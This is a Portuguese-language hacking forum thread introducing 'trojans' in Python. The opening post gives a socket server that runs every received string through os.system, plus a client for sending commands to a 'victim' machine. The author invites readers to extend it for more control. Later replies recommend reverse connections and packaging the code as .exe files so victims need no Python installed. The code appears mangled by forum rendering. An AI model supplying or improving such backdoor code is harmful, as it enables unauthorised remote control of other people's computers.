Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Introdução a trojans com Python

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Python Introdução a trojans com Python

    Tentarei abordar neste tópico, de forma simplificada, o funcionamento de um trojan e o conceito básico para o desenvolvimento de um software do tipo. antes de mais nada, para entender o funcionamento do mesmo, é necessário ter um pouco de conhecimento de sockets.

    Sockets:
    Os sockets, são responsaveis pela comunicação de computadores que se encontram em rede. Trabalham principalmente com a camada 4 do modelo OSI (camada de transporte). Para utilizá-los, precisa existir a necessidade de ter duas aplicações que se comuniquem e ao mesmo tempo se encontram em máquinas diferentes, estabelecendo uma relação de Cliente (que usa das funções oferecidas pelo servidor) e Servidor (que responde as solicitações do cliente).

    Com o conceito de sockets em mente, vamos aprender a utilizá-los em python.

    Sockets em python:
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Conceito de trojan:
    Um Trojan, ou Cavalo de Troia, é um programa que se oculta dentro de outro, legítimo, com a finalidade de abrir uma porta para que o cracker mal intencionado tenha acesso ao computador infectado.
    Adaptado de : Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Nosso trojan em python:
    Basicamente, precisamos enviar comandos ao nosso servidor, o forçando a fazer oque desejarmos. Dessa forma, podemos dizer que temos acesso ao computador da vítima.
    Para isso, basta um simples rearranjo do código passado Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., para que o servidor passe a interpretar comandos enviado pelo cliente.

    O código ficará algo como:


    Servidor:
    Código PHP:
    #########=====serv_tuto.py=====##########
    #!/user/bin/python
    #
    # Coded by: Alisson Menezes [kernelcrash]
    # Modify by: Radicalzinho
    #
    # servidor que recebe mensagens de aplicacao client parecido com o netsend
    #
    #

    import os #Importação da biblioteca "os"
    import socket
     
    host 
    ''
    port 7000
     
    addr 
    = (hostport)
    serv_socket socket.socket(socket.AF_INETsocket.SOCK_STREAM)
    serv_socket.setsockopt(socket.SOL_SOCKETsocket.SO_REUSEADDR1)
    serv_socket.bind(addr)
    serv_socket.listen(10)

    print (
    'aguardando conexao')
    concliente serv_socket.accept()
    print (
    'conectado')
     
    print (
    "conexao criada")

    while 
    1:
        
        
    recebe con.recv(1024)

        
    #Tenta executar o comando
        
    try:
            
    os.system(recebe#Comando recebido tentando ser executado
        
    except:
            print(
    'Comando invalido'#Mensagem de erro
        
     

    serv_socket.close()
    #############=====EOF======################### 



    Cliente:

    Código PHP:
    ############## client_tuto.py#################
    #!/usr/bin/python
    #
    #Coded by: Alisson Menezes [kernelcrash]
    #Modify by: Radicalzinho
    #
    #
     
    import socket
     
    ip 
    raw_input('digite o ip de conexao: ')
    port 7000
    addr 
    = ((ip,port))
    client_socket socket.socket(socket.AF_INETsocket.SOCK_STREAM)
     
    client_socket.connect(addr)

    while 
    True#Este looping nos possibilita enviar múltiplos comandos
        
    msg raw_input('Digite um comando: ')

        
    client_socket.send(msg)

        print(
    'Comando enviado')

    client_socket.close()
     
    ############=----EOF----########### 
    Como podem perceber, no código do cliente, apenas modificamos as mensagens exibidas, e adicionamos um loop para poder ficar enviando comandos. Enquanto o servidor, começamos a interpretar a mensagem passada pelo cliente como um comando do S.O.

    Resultado:





    Como desafio, deixo a critério de vocês realizarem melhorias nestes códigos, para obter um maior poder sobre o computador que roda o servidor. Publiquem o código aqui depois, para que possamos fazer uma discussão e criar uma network entre a galera.

    Este é apenas uma introdução a trojans. Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    NÃO ME RESPONSABILIZO PELOS SEUS ATOS
    Last edited by Nickguitar.dll; 12-01-2015, 02:23. Motivo: à pedido do autor
    "Não subestime os fracos pois eles não agem com a força e sim com a mente."
    Similar Threads

  • Font Size
    #2
    Eu não chamaria de fato seu codigo de um trojan,porque ao invez do servidor sé conectar ao hacker.
    O hacker que teria de adivinhar o ip da vitima.
    O certo seria criar um servidor que sé conecta-se com o hacker e esperasse algum comando.

    Comment


    • Font Size
      #3
      estou evitando comentários...

      então... estou evitando comentários, publicações... etc...

      logo... nao vou comentar e nem corrigir o código, mas... queria entender esse...

      Python não é uma linguagem muito boa para esse tipo de coisa.
      python é uma linguagem de escrita ágil, é confortavel, robusta e ao mesmo tempo leve, além de biblioteca para lidar com praticamente tudo, nao entendi seu ponto de vista '-'
      sigpic

      Comment


      • Font Size
        #4
        Postado Originalmente por n0x_4rc4n4 Ver Post
        então... estou evitando comentários, publicações... etc...

        logo... nao vou comentar e nem corrigir o código, mas... queria entender esse...



        python é uma linguagem de escrita ágil, é confortavel, robusta e ao mesmo tempo leve, além de biblioteca para lidar com praticamente tudo, nao entendi seu ponto de vista '-'
        Concordo com você,python da pra fazer praticamente tudo desde injetar dll em um processo a fazer upload de um arquivo por ftp ou com a lib urllib2.

        Comment


        • Font Size
          #5
          Postado Originalmente por n0x_4rc4n4 Ver Post
          então... estou evitando comentários, publicações... etc...

          logo... nao vou comentar e nem corrigir o código, mas... queria entender esse...



          python é uma linguagem de escrita ágil, é confortavel, robusta e ao mesmo tempo leve, além de biblioteca para lidar com praticamente tudo, nao entendi seu ponto de vista '-'
          Também adoro python, porem é uma linguagem interpretada, e a menos que a vitima tenha o python instalado em sua máquina, esse código será inútil.
          "Não subestime os fracos pois eles não agem com a força e sim com a mente."

          Comment


          • Font Size
            #6
            Postado Originalmente por reigelado Ver Post
            Eu não chamaria de fato seu codigo de um trojan,porque ao invez do servidor sé conectar ao hacker.
            O hacker que teria de adivinhar o ip da vitima.
            O certo seria criar um servidor que sé conecta-se com o hacker e esperasse algum comando.
            Por isso que eu chamei de introdução a trojans. O foco é o pessoal que ainda não teve contato com sockets.
            "Não subestime os fracos pois eles não agem com a força e sim com a mente."

            Comment


            • Font Size
              #7
              é só portabilizar convertendo para .exe

              o py2exe fazia isso, mas o cx_freeze é melhor
              sigpic

              Comment


              • Font Size
                #8
                Postado Originalmente por n0x_4rc4n4 Ver Post
                o py2exe fazia isso, mas o cx_freeze é melhor
                Não os conhecia, eles compilam direitinho? até com bibliotecas externas?
                "Não subestime os fracos pois eles não agem com a força e sim com a mente."

                Comment


                • Font Size
                  #9
                  depende...

                  com um script básico, por exemplo, sem imports, nao há muito oq se fazer, apenas rodar um setup.py e pronto, agora... quando tem libs, se der erro, vc vai ter q citar elas manualmente como import no seu setup.py

                  OBS: quando se converte para .exe e vc importa algo do pygame... geralmente o tamanho mínimo é de 25mb kkkkkkkkkkkkkk
                  sigpic

                  Comment


                  • Font Size
                    #10
                    Tópico organizado e informativo.. quero mais...

                    Comment


                    • Font Size
                      #11
                      Postado Originalmente por n0x_4rc4n4 Ver Post
                      com um script básico, por exemplo, sem imports, nao há muito oq se fazer, apenas rodar um setup.py e pronto, agora... quando tem libs, se der erro, vc vai ter q citar elas manualmente como import no seu setup.py

                      OBS: quando se converte para .exe e vc importa algo do pygame... geralmente o tamanho mínimo é de 25mb kkkkkkkkkkkkkk
                      kkkkk isso que é ruim. Por isso que python não é uma boa linguagem para esse tipo de coisa.


                      Postado Originalmente por ɪмρєʀατσʀ Ver Post
                      Tópico organizado e informativo.. quero mais...
                      Vlw Imperator. Quanto mais coisas novas eu aprender, mas posts terá \o/
                      "Não subestime os fracos pois eles não agem com a força e sim com a mente."

                      Comment


                      • Font Size
                        #12
                        sim, é triste kkkkkkkkkk

                        porém...

                        em uma linha se resolve isso...

                        Código:
                        import x
                        e vem kilos de lib em funções q nem serão usadas, vamos chamar isto de gordura localizada kkkkkkkkkk

                        Código:
                        from x import y
                        
                        ou
                        
                        from x import y as z
                        ae... é massa magra ^^
                        bem simples né?

                        há e quanto a memória... é simples, use poucas variáveis, e temporárias, é só remove-las dps de usar, "del"
                        sigpic

                        Comment


                        • Font Size
                          #13
                          Apenas acrescentando , nunca a conexão é provida do "server" sempre um cliente manda requisição para o servidor , em topologia de Trojan o Cliente sempre é a maquina infectada.
                          Quanto ao Python uma excelente linguagem, já desenvolvi um mensageiro em phyton utilizando o mesmo conceito de socket que é usado em Trojan.Em todas as linguagens "conhecidas" é possível fazer qualquer tipo de aplicação , a forma de implementar pode ser diferente mas o objetivo final isolando performance e entre outros quesitos é igual.

                          Comment


                          • Font Size
                            #14
                            nem sempre o target é o cliente, na época do Poltergeist por exemplo... o target era o server, eram poucos os trojans com conexão reversa, como pro-rat, turkojan, poison, mas isso antigamente é claro ^^
                            sigpic

                            Comment


                            • Font Size
                              #15
                              Postado Originalmente por gorilas00 Ver Post
                              Apenas acrescentando , nunca a conexão é provida do "server" sempre um cliente manda requisição para o servidor , em topologia de Trojan o Cliente sempre é a maquina infectada.
                              Quanto ao Python uma excelente linguagem, já desenvolvi um mensageiro em phyton utilizando o mesmo conceito de socket que é usado em Trojan.Em todas as linguagens "conhecidas" é possível fazer qualquer tipo de aplicação , a forma de implementar pode ser diferente mas o objetivo final isolando performance e entre outros quesitos é igual.
                              Existe os trojans de conexão direta (antigos), e os de conexão reversa. E sobre python não ser uma boa linguagem, leia a minha conversa com o n0x_4rc4n4.
                              "Não subestime os fracos pois eles não agem com a força e sim com a mente."

                              Comment

                              X
                              Working...
                              X